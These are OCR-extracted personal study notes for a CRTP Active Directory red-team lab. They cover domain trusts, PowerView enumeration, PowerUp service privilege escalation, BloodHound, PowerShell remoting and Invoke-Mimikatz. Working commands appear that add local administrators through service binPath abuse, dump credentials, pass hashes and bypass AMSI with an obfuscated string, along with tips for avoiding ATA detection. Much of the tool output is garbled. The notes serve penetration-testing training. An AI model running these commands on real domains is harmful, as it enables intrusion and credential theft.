Transitive Two-way Kerberos V5 or NTLM K
Root is added to a forest.
One-way Created Manually.Used in an AD DS
Shortcut Transitive or Two- Kerberos V5 or NTLM forest to shorten the trust path to
way improve authentication times.
One-wa
L. Y Created Manually.Used to share
Forest Transitive or Two- Kerberos V5 or NTLM
resources between AD DS forests.
way
External Non-transitive One-way NTLM Only Created Manually.Used to access

resources in an NT 4.0 domain or a
domain in another forest that does not
have a forest trust established.
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https://www.notion.so/Crtp-Report-Exam-41bc956b1ef442f2b42f0bbb1a499fcd
https://www.notion.so/Parent-Child-74d02871d93e476cac1eea6b91c17114
https://www.notion.so/Tree-Root-39409a7183874d868001ee53c6775573
https://www.notion.so/Shortcut-6dcaa25c1f2e45779740b4d8bae63898
https://www.notion.so/Forest-a55750c22182422ba1042aeb289e390e
https://www.notion.so/External-758d564fc85340a9bdbfe00cbbe61ca8

Aa Trust =

Type Characteristics Direction AuthenticationMechanism = NOtes
o One-way Created Manually.Used to access
Transitive or R
Realm . or Two- Kerberos V5 Only resources between a non-Windows
non-transitive

way Kerberos V5 realm and an AD DS domain.

« Parent-Cild

o They can only exist between two domains in the same tree with the same contiguous
namespace. The parent domain is always trusted by the child domain. You cannot
manually create a Parent-Child trust.

Parent-Child Trust

Trimagna.com
s 2,
& ®,
A

Q
& %,

« Tree-Root

o A tree-root trust can only be established between the roots of two trees in the

same forest and are always transitive. You cannot manually create a tree-root
trust.

Tree-Root Trust

Trimagna.com

Contoso.com
Tree

« Shortcut

o manually created, one-way, transitive trusts. They can only exist within a forest.
They are created to optimize the authentication process shortening the trust path.

o Shortcut trusts shorten the trust path.
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Shortcut Trust

« Forest Trust

o manually created, one-way transitive or two-way transitive , trusts that allow you
to provide access to resources between multiple forests.

o Forest trusts uses both Kerberos v5 and NTLM authentication across forests where
users can use their Universal Principal Name (UPN) or their Pre-Windows 2000
method (domainName\username). Kerberos v5 is attempted first, and if that fails,
it will then try NTLM.

o Forest trusts require DNS resolution to be established between forests

o Forest trusts cannot be extended to other forests, such as if Forest 1 trusts
Forest 2, and another forest trust is created between Forest 2 and Forest 3,
Forest 1 does not have an implied trust. If a trust is required, one must be
manually created.

Forest Trusts

orest Trust

Trimagna.com Contoso.com AnotherForest.com

A two-way, transitive forest trust exist between Trimagna.com and Contoso.com.
A two-way, transitive forest trust exist between Contoso.com and AnotherForest.com.
In this scenario:
Contoso.com users can access resources in Trimagna.com and AnotherForest.com
Trimagna.com users can access resources in Contoso.com
AnotherForest.com users can access resources in Contoso.com
However, Trimagna.com and AnotherForest.com cannot access each other.

« External Trust

o one-way or Two-Way, non-transitive trust that is manually created to establish a
trust relationship between AD DS domains that are in different forests, or between
an AD DS domain and Windows NT 4.0 domain.

o External trusts allow you to provide users access to resources in a domain outside
of the forest that is not already trusted by a Forest trust.

o External trusts are NTLM based, meaning users must authenticate using the Pre-
Windows 2000 logon method (domain\username).NTLM requires NetBIOS name resolution
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.

support for functionality.

External Trust

Trimagna.com

External Trust (One Way)

Contoso.com
(Separate Forest)

Realm Trust

o Trust Relationships with Other Operating Systems that also Support Kerberos
Protocol

o One-Way Transitive OR Two-Way Transitive - Use Kerberos Authentication Only

o A Realm trust can be established to provide resource access and cross-platform
inter-operability between an AD DS domain and non-Windows Kerberos v5 Realm.

¥ Get Forest Details

Get-NetForest -> Get Information for current Forest.
Get-NetForest -Forest <ForestName>

PS C:\AD\Tools>

ootDomainsid

rcorp. mone ocal}

"p 'Y
corp, DC=moneycorp,Dc=local, DC=DomainDnsZones ,DC=moneycorp,dc=local,

tion, DC=moneycorp,DC=Tocal
1

The command returns the current forest name “moneycorp.local”
and the available domains within the forest (moneycorp.local,
dollarcorp.moneycorp. local, and us.dollarcorp.moneycorp. local).

¥ Domain Trust Mapping

Get-NetDomainTrust -> get available trusts within the current or any other trusted domain in the same or external fore
Get-NetDomainTrust -Domain <DomainName>

CRTP-Notes-Meshari-Almalki
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PS C:\AD> Get-NetDomainTrust

ldollarcorp. ycorp.local corp.local
dollarcorp. orp.loca] | us.dollarcorp.moneycorp.local Parentchild Bidirectional
dollarcorp. orp.local| eurocorp.local External Bidirectional

Ps ¢:\AD>

the existing domain “dollarcorp.moneycorp.local” has 3 trust relationships:
« Transitive, 2-way trust with its Forest “moneycorp.local”
« Transitive, 2-way trust with its child domain “us.dollarcorp.moneycorp. local”

« External 2-way trust with another Forest called “eurocorp.local”

Get-NetForest -Forest eurocorp.local

RootDomainSid S

Name : eurocorp.local -> External Forest

Sites : {Default-First-Site-Name}

Domains : {eurocorp.local, eu.eurocorp.local}

GlobalCatalogs : {eurocorp-dc.eurocorp.local, eu-dc.eu.eurocorp.local}
ApplicationPartitions : {DC=DomainDnsZones,DC=eu,DC=eurocorp,DC=1local, DC=ForestDnsZones,DC=eurocorp,DC=1local, DC=Doma
ForestModeLevel 5w

ForestMode 1 Unknown

RootDomain : eurocorp.local

Schema : CN=Schema, CN=Configuration, DC=eurocorp, DC=1local
SchemaRoleOwner : eurocorp-dc.eurocorp.local

NamingRoleOwner 1 eurocorp-dc.eurocorp.local

moneycarplocal Forest

eurccorpJocal Forest

| dollarcorp.maneycorp local

N

|us.dollarcorp. moneycarp Jocal

eurocorp Jocal

x

eu.surocorp.Jocal

V¥ Get Domain Structure

To get the structure and hierarchy of the domains within the current or a
specified forest:
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Get-NetForestDomain
Get-NetForestDomain -Forest <ForestName>

PS AD\Tools> Get-NetForestDomain

Forest : moneycorp.local
DomainControllers : {dcorp-dc.dollarcorp.moneycorp.local}
: {us.dollarcorp.moneycorp.local}
unknown

moneycorp.local
PdcRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
RidRoleOwner : dcorp-dc.dollarcorp.moneycorp. local
InfrastructureRoleOwner : dcorp-dc.dollarcorp.moneycorp.local
Name : dollarcorp.moneycorp.local

Forest : moneycorp.local
Domaincontrollers : {mcorp-dc.moneycorp.local}
Children : {do1larcorp.moneycorp.local}
DomainMode nknown

'DomainModeLevel

Parent

PdcRoTeowner mcorp-dc.moneycorp. local
RidRoTeCwner mcorp-dc.moneycorp.local
InfrastructureRoleOwner : mcorp-dc.moneycorp.local
Name : moneycorp. local

Forest : moneycorp.local
DomainControllers : {us-dc.us.dollarcorp.moneycorp.local}
Children : {}

DomainMode unknown

DomainModeLevel

Parent dollarcorp.moneycorp. local
PdcRoleOwner : us-dc.us.dollarcorp.moneycorp.local
RidRoleowner : us-dc.us.dollarcorp.moneycorp.local
InfrastructurerRoleowner : us-dc.us.dollarcorp.moneycorp.local
Name : us.dollarcorp.moneycorp.local

The above result show that within Our Forest - moneycorp.local is the root domain
, because it doesn’t have any parent domains , and its child domain -
dollarcorp.moneycorp. local

also the “us.dollarcorp.moneycorp.local” domain is child of the
dollarcorp.moneycorp.local domain.

moneycorp.local - dollarcorp.moneycorp.local -
us.dollarcorp.moneycorp. local

moneycorpocal Forest

moneycorp.local

dollarcorp.moneycorp.local

us.dollarcorp.moneycorp.local
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on Foothold machine i’11l to check if that user have a

on the domain -

local admin access on any other machine

Find all machines on the current domain Where the current user has local admin access :

Find-LocalAdminAccess -Verbose

it's like that

Get-NetComputer | Invoke-CheckLocalAdminAccess

C:\AD\Tools> Invoke-CheckLocalAdminAccess

omputerName IsAdmin

adminsrv.dollarcorp.moneycorp. local

Get-NetComputer

moneycorp

Tocal

P
o17arcorp.moneycorp. local

appsrv.dollarcorp. moneycorp. local
sqll.dollarcorp

stda
stdl
stdl
stdl
stdl
stdl
stdl
stdl

std183

stdl,
stdl

dollarcor
dollarcor
dollarcor
dollarcor
dollarcor

.dollarcor
.dollarcor
.dollarcor

dollarcor

.dollarcor
.dollarcor

dollarcor
dollarcor
dollarcor
go'\ larcor

-moneycor
-moneycor
.moneycor
-moneycor
-moneycor
-moneycor
-moneycor
.moneycor
-moneycor
-moneycor
-moneycor

moneycorp.

orp.monevcor

Get-NetComputer |

local

-local
-local
.local
-local
-local
. local
.local

Tocal

-local
-local

Tocal

dollarcorp.moneycorp. local

~p-ci.dollarcorp. moneycorp. 1ocal
mssgl.dollarcor

apps

\Tools:

dol larcor

-moneycor
stdadm. dollarcor

.dollarcor
.dollarcor

dollarcor

.moneycor
. moneycor
.moneycor
-moneycor
-moneycor
. moneycor
.moneycor
-moneycor
_monevcorn.
Find-LocalAdminAccess
adminsrv.dol larcorp. moneycorp. local

moneycorp. Tocal
adminsrv.dollarcorp.moneycorp. local
_moneycorp.

local

local

Look at figure below it’s like that :
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-local
Invoke-ChecklLocalAdminAccess

IsAdmin

False
False
False
False

True
False
False
False
False
False
False
False
False
False
False
False
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Get list of Computers
Get-NetComputer
0¥

Some time there is a some issue when some ports like ( RPC AND SMB ) used by Find-
LocalAdminAccess are blocked so i’1l used a Find-WMILocalAdminAccess.psl to do that

PS C:\AD\Tools> Find-WMILocalAdminAccess

SystemDirectory : C:\Windows\system32

Organization

BuildNumber : 14393

RegisteredUser : Windows User
SerialNumber : 00377-80000-00000-AA544
Version : 10.0.14393

The current user has Local Admin access on: dcorp-adminsrv.dollarcorp.moneycorp.local -> dcrop-adminsrc ( Other Machine )
SystemDirectory : C:\Windows\system32

Organization

BuildNumber : 14393

RegisteredUser : Windows User
SerialNumber . 00377-80000-00000-AA549
Version : 10.0.14393

The current user has Local Admin access on: dcorp-stdi81.dollarcorp.moneycorp.local -> dcorp-stdi181 ( My Machine )
WARNING: Something went wrong. Check the settings, confirm hostname etc, The RPC server is unavailable. (Exception from HRESULT: O

PS C:\AD\Tools> Find-WMILocalAdminAccess .\computers.txt
: Trying dcorp-dc.dollarcorp.moneycorp.local
Trying dcorp-mssql.dollarcorp.moneycorp.local
Trying dcorp-ci.dollarcorp.moneycorp.local
Trying dcorp-mgmt.dollarcorp.moneycorp.local
Trying dcorp-appsrv.dollarcorp.moneycorp.local
Trying dcorp-adminsrv.dollarcorp.moneycorp.local

SystemDirectory : C:\Windows\system32

pDrganization : Amazon.com

BuildNumber 1 14393

RegisteredUser : EC2

SerialNumber : 00376-40000-00000-AA753
ersion : 10.0.14393

he current user has Local Admin access on: dcorp-adminsrv.dollarcorp.moneycorp.local
ERBOSE: Trying dcorp-sqll.dollarcorp.moneycorp.local
ERBOSE: Trying dcorp-student4.dollarcorp.moneycorp.local

L3
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Find Local admins on all machines of the domain ( Needs Administrator privs on non-dc

machines )

Invoke-EnumerateLocalAdmin -Verbose

it's look like that :

Get-NetComputer | Get-NetLocalGroup

Get list of computers
Get-NetComputer E:::>
DC

dnmg;eoo’uaN-)ag

Comp1

Comp2

Find Computers where a domain admin ( or specified user/group ) has sessions
this is for easiest way to privesc to domain admin:
look for a machine where a Domain Admin token or Credential or session are available and

they have a local admin on that machine
if a have that I will to extract credential of Domain Admin and escalate my privellge

Invoke-UserHunter -> Looks for a session of domain admin on all the machine on the Domain and check if the have local admin access

Invoke-UserHunter -GroupName "RDPUsers"

This Function - 1nvoke-usertunter it’s running looks 1like that

This function queries the DC of the current or provided domain for members of the
given group (Domain Admins by default) using Get-NetGroupMember, gets a list of
computers (Get-NetComputer) and list sessions and logged on users (Get-

NetSession/Get-NetLoggedon) from each machine.
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Get-NetComputer | Get-NetSession

:\AD\Tools> Get-NetComputer Get-NetSession

sesil0_cname
sesil0_username
sesil0_time
sesil0_idle_time
[ComputerName

sesil0_cname
sesil0_username
sesil0_time
sesil0_idle_time
[ComputerName

sesil0_cname
sesil0_username
sesil0_time
sesil0_idle_time
[ComputerName

sesil0_cname
sesil0_username
sesil0_time
sesil0_idle_time
[ComputerName

sesil0_cname
sesil0_username

[ComputerName

sesil0_cname
sesil0_username
sesil0_time
sesil0_idle_time
[ComputerName

sesil0_cname
sesil0_username
sesil0_time
sesil0_idle_time
[ComputerName

sesil0_cname
sesil0_username
sesil0_time
sesil0_idle_time
[ComputerName

sesil0_cname
sesil0_username
sesilO_time

dcorp-dc.dollarcorp.moneycorp. local

\\172.16.100.181
studentl81l
0

0
dcorp-mgmt.dollarcorp.moneycorp. local

\172.16.100.181
atudentl_l

0
dcorp-ci.dollarcorp.moneycorp. local

\\172.16.100.181
studentl81l
0

0
dcorp-mssql.dollarcorp.moneycorp. local

\\172.16.100.181
student181l
0

0

dcorp-adminsrv.dollarcorp.moneycorp.local

\\172.16.2.1
Adm1nwstrator
55
546
dcorp-appsrv.dollarcorp.moneycorp. local
\\172.16.2.1
Administrator
4
dcorp-appsrv.dollarcorp.moneycorp. local
\\172.16.2.1
Administrator
438
43
dcorp-appsrv.dollarcorp.moneycorp. local

\\172.16.2.1
Qgginﬁstrator

Invoke-UserHunter

\AD\Tools Invoke-UserHunter
[*] Running Invoke-UserHunter with delay of 0
[*] qQuerying domain dollarcorp. moneyr_or .local for hosts
Get-Domainsearcher search string AP cnrpfdc.dOWWdrcorp moneycorp.local/DC=dolTlarcorp,DC=moneycorp,DC=1ocal
Get-NetComputer filter : '(&(=N\Acc0unt ype=80530 9) (dnshos tname: "
] Queryi domain dollarcorp. moneycol' local for users of group ns
Get-Domainsearcher search string: LDAP://dcorp-dc.dollarcorp.moneycor /DC=d oneycorp ,DC=loca
*] Total number of hosts: 24
iting for threads to finish...
A1l threads completed!
[*] Total number of active hosts: 19
[*] Enumerating server dcorp-stdl190.dollarcorp.moneycorp. local
Error: Access is denied
1 Enumerating server dcorp-std. dollarcorp.moneycorp. local
s denied
1 Enumerating server dcorp-stdl88.dollarcoerp.meneycorp. local
Error: Access is denied
] Enumerating server dcorp-appsrv.dollarcorp.moneycorp.local
Error: Access is denied

UserDomain
userName
ComputerName
IPAddress
essionFrom
es557onF romName
LocalAdmin

erbomain
erName
omputerName
[IPAddress
essionFrom
[SessionFromName
LocalAdmin

UserDomain
erName
omputerName
PAddress
essionFrom
essionFromName
LocalAdmin

UserDomain
UserName
ComputerName
[TPAddress
essionFrom
[SessionFromName
LocalAdmin

UserDomain
UserName
ComputerName
[TPAddress
ess1onFrom
[Ses s ionFromName
LocalAdmin

dollarcorp.moneycorp.local
Administrator

deorp-appsry. dollarcorp. moneycorp.

172. 10 4.2
6.2.1

dollarcorp.moneycorp. Tocal
Administrator

deorp-appsry. dol1arcorp. moneycorp.

dollarcorp.moneycorp. Tocal
Administrator

dcorp-appsry. dollarcorp. moneycorp

172.16.4.2

dollarcorp.moneycorp. local
Administrator

v.dollarcorp.moneycerp.

dollarcorp.moneycorp. local
Administr ator
v.dollarcorp. moneycorp
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Get-NetGroupMember <
Get list of computers N
Get-NetComputer y

Enumerate Domain Admins {

S188N Uo

Comp3

\ Comp2 /

Confirm admin access :

Invoke-UserHunter -CheckAccess

PS5 C:\AD\Tools> Invoke-UserHunter

UserDomain : dollarcorp.moneycorp. local
UserName : Administrator
ComputerName : dcorp-appsrv.dollarcorp.moneycorp. local
IPAddress : 172.16.4.21
ssionFrom g 72, lE 2.1

alAd : False

UserDomain : dollarcorp.moneycorp. local

UserName : Administrator

ComputerName : dcor pS I ollarcorp.moneycorp. lTocal
IPAddress : 172.16. 1

SessionFrom : 172.16.2.1

SessionFromName :

LocalAdmin : False

UserDomain : dollarcorp.moneycorp. local
UserName : Administrator

ComputerName : dcorp-appsrv.dollarcorp.moneycorp. local
IPAddress H .21

SessionFrom : 172.16.2.1

SessionFromName :

LocalAdmin : False

uUserpomain : dollarcorp.moneycorp.local

UserName Administrator

ComputerName dcorp-app dollarcorp.moneycorp. local
IPAddress 8

SessionFrom :

SessionFromName :

LocalAdmin

UserDomain : dollarcorp.moneycorp.local

UserName : Administrator

ComputerName I dcorp-appsrv.dollarcorp.moeneycorp. local
ess o1 1 1
nFrom

SessionFromName :

lLoca lAdmin

Invoke-UserHunter -Stealth -> Find Computer where a domain admin is logged-in -> chance of success is lower

v

There are various ways of locally escalating privileges on WIN box :

« Missing patches.
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« Automated deployment and AutoLogon password in ClearText. - AutoLogon stored in Win
registry in cleartext

« AlwaysInstallElevated( Any User can run MSI as SYSTEM ).
« Misconfigured Services. - Unquoted Service Path , Permission with service it selv

« DLL Hijaking and More.

Tools:
PowerUp
BeRoot

Privesc

Services Issues using PowerUP:

« Get Services with unquoted paths and s space in their name.
Get-ServiceUnquoted -Verbose

What is Unquoted Service Path ?
If i have a service installed on : C:\FTPServer\FTP Server\Filezilla\Filezilla.exe

you can see here i have a space in FTP Server - That’s mean i can put a file and execute
like this

C:\FTPServer\FTP.exe - and restart the filezilla.exe server and will FTP.exe executed.
How To prevent a Unquoted Service Path:

Just add “C:\FTPServer\FTP Server\Filezilla\Filezilla.exe”

Get-WmiObject -Class win32_service | select PathName -> Get all path name of services on current machine

S C:\AD\Tools> Get-WmiObject win32_service | select PathName

athName

ebserver\Abyss Web Server\WebServer\abyssws.exe —--service
\Windows\system3i\svchost.exe -k LocalServiceNetworkRestricted
windows\System32\alg. exe
indows\system32\svchost.exe -k LocalServiceNetworkRestricted
\Windows\system32\svchost.exe -k netsvcs
Windows\system32\svchost.exe -k netsvcs
indows\System32\svchost.exe -k AppReadiness
indows\system32\AppVClient.exe
\Windows\system32\svchost.exe -k wsappx
indows\System32\svchost.exe -k LocalSystemNetworkRestricted
indows\System32\svchost.exe -k LocalServiceNetworkRestricted
\Windows\system32\svchost.exe -k AxInstSVGroup
jndows}system§2}svchost.exe -k LocalserwviceNoNetwork

By PowerUp.psl
#1 Unquoted Service Paths

Invoke-AllChecks
#0R
Get-ServiceUnquoted -Verbose
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\Too] \PowerUp.psl
\Too1 viceUnquoted

‘ viceName

Path .\ b § ok xe_--service
difiablePath : @ d bser JILTIN\Users; Permissions=AppendData/AddSubdirectory}
artName

AbuseFunction : <HijackPath>

CanRestart

viceName
ath D C: \ X se
ModifiablePath @ :\Webser 5 Users; Permissions=WriteData/AddFile}
startName
useFunction
CanRestart

#Abuse
Write-ServiceBinary -Name 'AbyssWebServer' -Path C:\WebServer\Abyss.exe -Command "net localgroup Administrators user /add"

#Restart Service
sc stop AbyssWebServer
sc start AbyssWebServer

#2 Modify Service Executable

Replaces the service binary for the specified service with one that executes a specified
command as SYSTEM.

Takes a service Name or a ServiceProcess.ServiceController on the pipeline where the
current user can modify the associated service binary listed in the binPath. Backs up
the original service binary to "OriginalService.exe.bak" in service binary location, and
then uses Write-ServiceBinary to create a C# service binary that either adds a local
administrator user or executes a custom command. The new service binary is replaced in
the original service binary path, and a custom object is returned that captures the
original and new service binary configuration.

Invoke-AllChecks
#0R
Get-ModifiableServiceFile -Verbose -> Get services when the current user can overright the binary path or change the args

AD\Tools> Get-ModifiableServiceFile
Add ceDacl Ind dualService : AbyssWebServer

ServiceName \

Path b \ b b Server rver\abyssws.exe --service
ModifiableFile b

ModifiableFilePermissions

ModifiableFileIdentityReference BUILTIN\Users

StartName LocalSystem

lAbuseFunction Install-ServiceBinary -Name 'AbyssWebServer'

CanRestart H

ServiceName \

Path b \ rver rver\abyssws.exe --service
ModifiableFile b rver
ModifiableFilePermissions

ModifiableFileIdentityReference BUILTIN

[StartName LocalSystem

lAbuseFunction Install-ServiceBinary -Name 'AbyssWebServer'

CanRestart : True

VERBOSE: Add-Se d dualService : gupdate
ServiceName H date

Path \Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc
ModifiableFile C

ModifiableFilePermissions {writeOowner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference Everyone

[StartName LocalSystem

lAbuseFunction Install-ServiceBinary -Name 'gupdate’

CanRestart : False

why The second does not a vuln Unquoted ? Because the space in Program Files (x86) that
you need

administrator privesc to overright on these file :).

#Abuse
Install-ServiceBinary -Name "AbyssWebServer" -Command "net localgroup administrators user /add"
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# Manual
Write-ServiceBinary -Name 'AbyssWebServer' -Command "command" -Path "C:\WebServer\Abyss.exe"

#3 Modify Service BinPath

Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the
current user has configuration modification rights on and executes a series of automated
actions to execute commands as SYSTEM. First, the service is enabled if it was set as
disabled and the original service binary path and configuration state are preserved.
Then the service is stopped and the Set-ServiceBinPath function is used to set the
binary (binPath) for the service to a series of commands, the service is started,
stopped, and the next command is configured. After completion, the original service
configuration is restored and a custom object is returned that captures the service
abused and commands run.

# Enumeration

Invoke-AllChecks

#0R

Get-ModifiableService -verbose -> Modifiy the service it self and temporary make it point to another exec file

PS C:“\AD\Tools> Get-ModifiableSerwvice

ServiceName AbysswWebServer

Path C:\Webserver\Abyss web Server\WebsServer\abyssws.exe --service
startName LocalSystem

AbuseFunction Invoke-ServiceAbuse -Name 'AbyssWebServer'

CanRestart True

ServiceName SNMPTRAP

Path C:\Windows\System32\snmptrap. exe
StartName LocalSystem

AbuseFunction Invoke-ServiceAbuse -Name 'SNMPTRAP'
CanRestart True

# Abuse

Invoke-ServiceAbuse -Name "AbyssWebServer" -Command "net localgroup administrators user /add"
# Manual

sc config "servicename" binPath= "cmd.exe /c net localgroup Administrators user /add"

sc stop "servicename"

sc start "servicename"

Invoke-AllChecks

Invoke-AllChecks is a function that runs all the checks included in the module. The
function outputs results of the checks in a useful format and offers us suggestions for
where to look regarding privilege escalation.

Path 1: Unquoted Paths

Looking at our results from Invoke-AllChecks we can see a check for unquoted service
paths has found the following:

Invoke-AllChecks -> PowerUp.psl

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
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[*] Checking for unquoted service paths...

ServiceName : AbyssWebServer

Path : C:\WebServer\Abyss Web Server\WebServer\abyssws.exe --service

ModifiablePath : @{ModifiablePath=C:\WebServer; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem

AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path <HijackPath>

CanRestart 1 True

ServiceName : AbyssWebServer

Path : C:\WebServer\Abyss Web Server\WebServer\abyssws.exe --service

ModifiablePath : @{ModifiablePath=C:\WebServer; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem

AbuseFunction : Write-ServiceBinary -Name 'AbyssWebServer' -Path <HijackPath>

CanRestart : True

[*] Checking service permissions...

ServiceName yssWebServer
Path bserver\Abyss web ver\Webserver\abyssws.exe --service

StartName

buseFunction Invoke-ServiceAbuse -Name 'AbysswWebServer'®
anRestart True

NMPTRAP
ath C:\Windows\System32\snmptrap. exe
StartName Localsystem
useFunction Invoke-ServiceAbuse -Name 'SNMPTRAP'
anRestart True

This can change the Path of the service we can make the AbyssWebServer Service point to
a new executable Like cmd.exe or powershell.exe , and we can restart this service

Mapping trust other objects and relationships between all the object and entity using data
collecting by ingestor. ( it’s not usefull for RedTeamer , It’s usefull for PT or

BlueTeamer ).

.\SharpHound.ps1 -> This called ingestor

Invoke-BloodHound -CollectionMethod All
#0R
Invoke-BloodHound -CollectionMethod All -Domain <Domain> -ZipFilename <zipName>

To Aviod detection like ATA ( The Advanced-Threat-Analytics PowerShell module was designed to make it easy for customers to interf
# Invoke-BloodHound -Collection All -ExcludeDC

after generate a zip file , now run a server of neo4j and bloodhound and also transfare the
zip File to the attacker machine with pscp

#Install putty tools for pscp
sudo apt install putty-tools
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# PSCP command
pscp <username>@<ip_of_target-Machine>:/<Directory_Of_file> <Destination>

#neo4j
neo4j.bat -install-service

now run bloodhound.exe

Invoke-BlooHound -CollectionMethod LoggedOn -> For Session

BloodHound

EY

Database Info Node Info

Database Info ? *
U \°WL
[

DB Address bolt://localhost 7687

0B User neod)

Users 74 N
Computers 25 N o
Groups 52

Sessions 8 _/ :

ACLs 1,206
Relationships 1523
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BloodHound

= Start typing t:

Database Info Node Info Queries

Pre-Built Analytics Queries

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users
Shortest Path from Owned Principals

Shortest Paths to Domain Admins from Owned Principals
Shortest Paths to High Value Targets

Find Computers where Domain Users are Local Admin
Shortest Paths from Domain Users to High Value Targets
Find All Paths from Domain Users to High Value Targets
Find Workstations where Domain Users can RDP

Find Servers where Domain Users can RDP

Find Dangerous Rights for Domain Users Groups

Find Kerberoastable Members of High Value Groups

List all Kerberoastable Accounts

Find Kerberoastable Users with most privileges

Find Domain Admin Logens te non-Domain Controllers
Find Computers with Unsupported Operating Systems
Find AS-REP Roastable Users (DontReqPreAuth)

Custom Queries # 2

¥ Lateral Movement - Powershell Remoting ( psexec )
Admin Recon - Leteral Movement - Domain Admin Priv

need to enable remoting ( Enable-PSRemoting ) on Desktop Windows machine. Priv admin
required to do that.

Powershell Remoting use TCP/5985 HTTP Port By Default. and 5956 for ssl.

To Type of PowerShell Remoting:
1. One-To-One
a. Interactive login to other machine , works over a session called ( PSSession )
b. PSSession
i. Interactive
ii. Runs in new process ( wsmprovhost )
iii. Is Stateful.
c. Cmdlets:
a. New-PSSession
b. Enter-PSSession
# First Find-LocalAdminAccess
PS C:\AD\Tools> . .\PowerView.psl
PS C:\AD\Tools> Find-LocalAdminAccess
dcorp-adminsrv.dollarcorp.moneycorp. local

#Second Use PSSession To Enter a machine
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
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AD\Tools> . _\PowerView.psl
AD\Tools> Find-LocalAdminAccess
-adminsrv.dollarco moneycorp. local
~ Enter-pP ssion dcorp-adminsrv.dollarcorp.moneycorp. local

rp—adminsrv.dollarcorp.moneycorp. local]l: PS C:\Users\studentl81\Documents> hostname
adminsrv
rp-adminsrv.dollarcorp.moneycorp.local]: PS C:\Users\studentl8l\Documents> whoami

tdcorp—admﬁns /.dollarcorp.moneycorp.local]: P: \Users\studentl81\Documents:

Store a session:

$sess = New-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
$sess

\Too]s: New-PSSession dcorp-adminsrv.dollarcorp.moneycorp. local
\Tools>

d Name ComputerName State C tionName ilability

Session2 dco mins... RemoteMachine Opened Microsoft.PowerShell ailable

\Tools: ssion
p.moneycorp. Tocal]: :\Users\student181\Documents> _

When Creat a session that will not be killing everytime it’s
statfull.

Get-Process

-admins

NPM (K)

conhost
conhost

csrss
csrss
Ccsrss
Idle

2. One-To-Many
a. Send Multible command from signle machine to many machines.

b. it’s the best in PowerShell for passing the hashes, using credentials and exec
command on multiple remote computers.

# Use invoke-Command

invoke-Command -ComputerName ComputerName -ScriptBlock{Command;Another Command}

Invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -ScriptBlock{hostname;whoami}
dcorp-adminsrv

dcorp\student181

#Run Function on Remote Machine.

invoke-Command -ComputerName ComputerName -ScriptBlock ${function:name_function}

#Run a script to remotlly Machine.
invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -FilePath <Path_Script>

Load a script using Invoke-Command in the session Tas pry:

$sess = New-PSSession -ComputerName ComputerName_Have_Local Admin_Priv
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invoke-Command -FilePath <Script_Path> -Session $sess
Enter-PSSession -Session $sess

C:\AD\Tool \hello.ps1l
C:\AD\Tools> he]?o
1lo Function
C:\AD\Too]l Invoke-Command \AD\Tools\hello.psl
C:\AD\Too]l Enter-PSSession
[dcorp-adminsrv.dollarcorp.moneycorp.local]: PS C:\Users\studentl81l\Documents> hello
ello Function
[dcorp-adminsrv.dollarcorp.moneycorp.local]l: PS C:\Users\studentl8l\Documents> _

=
=
=]
=
PS

Note\ When Use Stateful commands in session we cannot do it
parallelly on thousand of machines unless we already create a
sessions for all of those machines

al> Oe Jisl & sy ({)y .)le> O° )JSI "lﬁ Aai5 o 151 iRoy

What Different Between ConstrainedLanguage , FullLanguage

# Run on Remote Machine adminsrv.
invoke-Command -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local -ScriptBlock{$ExecutionContext.SessionState.LanguageM

PSComputerName RunspaceId Value

Deep Dive into PS ConstrainedLang

7 Y 9 lghaw aib

Invoke-Mimikatz
The Script could be used to dump credntials, tickets and more

it’s very useful for passing and replaying hashes, tickets and for many exiting AD
Attacks

The script needs administrator privileges for dumping credentials from local machine,
Many attacks need specific privileges which are covered while discussing that attack.

# Dump Creds on local machine
Invoke-Mimikatz -DumpCreds

#Dumo Creds on multiple machines
Invoke-Mimikatz -DumpCreds -ComputerName @('"sysi", "sys2")

# "Over pass the hash ( PTH ) " generate tokens from hashes
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:DOMAIN.LOCAL /ntlm:<ntlmhash> /run:powershell.exe"'
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Stateful Mimikatz

$sess = New-PSSession -ComputerName SERVER1

# bypass AMSI On Remote Machine

Invoke-Command -Session $sess -ScriptBlock {SET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1g2' + 'uzx' ) ( [TYpE]( "{1}{O0}"-F'F','rE'
Invoke-Command -Session $sess -FilePath C:\AD\Tools\Invoke-Mimikatz.psl

Enter-PSSession -Session $sess

Mimikatz & Credentials:

After a user logs on, a variety of credentials are generated and stored in the Local
Security Authority Subsystem Service, LSASS, process in memory. This is meant to
facilitate single sign-on (SSO) ensuring a user isn’t prompted each time resource
access is requested. The credential data may include Kerberos tickets, NTLM password
hashes, LM password hashes (if the password is <15 characters, depending on Windows 0S
version and patch level), and even clear-text passwords (to support wWDigest and SSP
authentication among others

to prevent the “clear-text” password from being placed in LSASS, the following registry
key needs to be set to “0” (Digest Disabled):

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\wDigest “UseLogonCredential” (DWORD)

B Registry Editor
File Edit View Favorites Help
ScEvents A Name Type Data
ScsiPort ab| Default) REG.SZ (value not set)
SecureBoot 28 Debuglevel REG_DWORD 0x00000000 (0)
SecurefipeServers ab|DigestEncryptionAlgorit.. REG_SZ 3desrcd
b oy i #]Negotiate REG_DWORD 0:00000000 (0)
zzm';‘:i #UselogonCredential  REGDWORD  0x00000001 (1)
